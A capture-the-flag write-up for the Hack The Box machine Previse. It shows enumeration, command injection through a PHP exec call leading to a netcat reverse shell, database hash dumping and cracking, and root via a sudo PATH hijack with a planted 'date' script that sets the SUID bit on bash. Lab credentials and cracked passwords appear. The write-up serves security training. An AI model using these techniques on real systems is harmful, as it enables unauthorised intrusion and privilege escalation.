Hack The Box - Previse

info_card

Previse is an easy rated machine on HackTheBox created by m4lwhere. For the user part we will exploit direct access to the registration form, which will give us access to the source code of the webpage upon logging in. The source code reveals the database credentials and a command injection vulnerability, which leads to a reverse shell. To obtain root we will exploit a path injection in a script we are allowed to run as root with sudo.

User

Nmap

As always we start our enumeration off with a nmap scan against all ports, followed by a script and version detection scan against the open ones to get a full picture of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.10.11.104
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 20:08 GMT
Nmap scan report for 10.10.11.104
Host is up (0.19s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 56.03 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -p22,80 -sC -sV 10.10.11.104
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 20:14 GMT
Nmap scan report for 10.10.11.104
Host is up (0.030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds

Account creation

There are only 2 ports open on the machine with http being the bigger attack surface so we will start there. Browsing to it we are greeted with a login page.

home

Since the server is running php we can add this extension to our gobuster scan to retrieve additional files. This also reveals an accounts.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://10.10.11.104/ -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/08/07 20:13:17 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/.html.php            (Status: 403) [Size: 277]
/login.php            (Status: 200) [Size: 2224]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/.htm                 (Status: 403) [Size: 277]
/.htm.php             (Status: 403) [Size: 277]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/footer.php           (Status: 200) [Size: 217]
/header.php           (Status: 200) [Size: 980]
/.                    (Status: 302) [Size: 2801] [--> login.php]
/.htaccess            (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]
/status.php           (Status: 302) [Size: 2968] [--> login.php]
/.phtml               (Status: 403) [Size: 277]

Going directly to this page we get redirected to /login.php, if we however request it directly in burp we can see the source of the page and that it expects 3 parameters to create an account.

account_variables

Sending a post request with all 3 variables we see that our account was successfully created.

account_create

This enables to log into the webpage now.

logged_in

Source code => command injection

Going over to the files tab we see a sitebackup.zip which we can download.

backup

Opening the zip file it seems to indeed contain the source code of the web application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ unzip sitebackup.zip
Archive:  sitebackup.zip
  inflating: accounts.php
  inflating: config.php
  inflating: download.php
  inflating: file_logs.php
  inflating: files.php
  inflating: footer.php
  inflating: header.php
  inflating: index.php
  inflating: login.php
  inflating: logout.php
  inflating: logs.php
  inflating: nav.php
  inflating: status.php

Looking at the config.php we find the credentials to connect to the backend mysql database, which might be usefull later on.

config.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

What is very helpful now is the command injection vulnerability in logs.php. The POST parameter delim gets directly passed to the exec function which runs a python script.

logs.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
}
?>

To exploit this we first set up our ncat listener.

1
2
3
4
$ nc -lvnp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Then we send ourselves a reverse shell with burp in the delim parameter by chaining a command to it with ;.

burp_rce

After recieving the shell we upgrate it to get a full tty and fix the terminal size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lvnp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.10.11.104.
Ncat: Connection from 10.10.11.104:59280.
bash: cannot set terminal process group (1447): Inappropriate ioctl for device
bash: no job control in this shell
www-data@previse:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<tml$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@previse:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@previse:/var/www/html$ ^Z
[1]+  Stopped                 nc -lvnp 7575
$ stty raw -echo;fg
nc -lvnp 7575

www-data@previse:/var/www/html$ stty rows 55 cols 236

Database hash

Since we have the database credentials we can now connect to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@previse:/var/www/html$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 26
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

There is only one custom database named previse.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> use previse
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Looking at the tables, accounts looks particularily interesting.

1
2
3
4
5
6
7
8
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

Getting everything from this table we can retrieve the hash for the user m4lwhere.

1
2
3
4
5
6
7
8
9
mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | whatever | $1$🧂llol$QLnqA0.eAutt05CqQgN2E0 | 2021-08-07 19:33:19 |
|  3 | access   | $1$🧂llol$QLnqA0.eAutt05CqQgN2E0 | 2021-08-07 20:27:16 |
+----+----------+------------------------------------+---------------------+
3 rows in set (0.00 sec)

This cracks after some time with hashcat.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ hashcat -m 500 hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.1.1) starting...
...[snip]...
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
Time.Started.....: Sat Aug  7 20:49:26 2021 (6 mins, 38 secs)
Time.Estimated...: Sat Aug  7 20:56:04 2021 (0 secs)
Guess.Base.......: File (/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    18660 H/s (6.90ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 7413760/14344384 (51.68%)
Rejected.........: 0/7413760 (0.00%)
Restore.Point....: 7412736/14344384 (51.68%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidates.#1....: ilovecwb -> ilovechloeloads

Started: Sat Aug  7 20:49:12 2021
Stopped: Sat Aug  7 20:56:06 2021

Testing the credentials with ssh we can login and grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Aug  7 21:13:54 UTC 2021

  System load:  0.0               Processes:           194
  Usage of /:   50.2% of 4.85GB   Users logged in:     1
  Memory usage: 35%               IP address for eth0: 10.10.11.104
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Aug  7 20:59:26 2021 from 10.10.14.3
-bash-4.4$ wc -c user.txt
33 user.txt

Root

Path injection

Looking at sudo permisions we can see m4lwhere can run a bash script as root.

1
2
3
4
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

The script calls two binaries with relative PATH and since the env is not reset this leaves us enough space to inject into the PATH with our own custom version of date or gzip.

/opt/scripts/access_backup.sh

1
2
3
4
5
6
7
8
9
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

To do this we create our own custom version of date first in the /tmp folder.

/tmp/date

1
2
3
#!/bin/bash

chmod +s /bin/bash

We mark it as executable and adjust the PATH so our date gets called first. With everything set we can now run the script with sudo.

1
2
3
m4lwhere@previse:~$ chmod +x /tmp/date
m4lwhere@previse:~$ export PATH=/tmp:$PATH
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh

After running the script we can confirm bash has the suid bit set.

1
2
m4lwhere@previse:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun  6  2019 /bin/bash

This let’s us drop quickly into a root shell and add the root flag to our collection.

1
2
3
m4lwhere@previse:~$ bash -p
bash-4.4# id
uid=1000(m4lwhere) gid=1000(m4lwhere) euid=0(root) egid=0(root) groups=0(root),1000(m4lwhere)
1
2
bash-4.4# wc -c /root/root.txt
33 /root/root.txt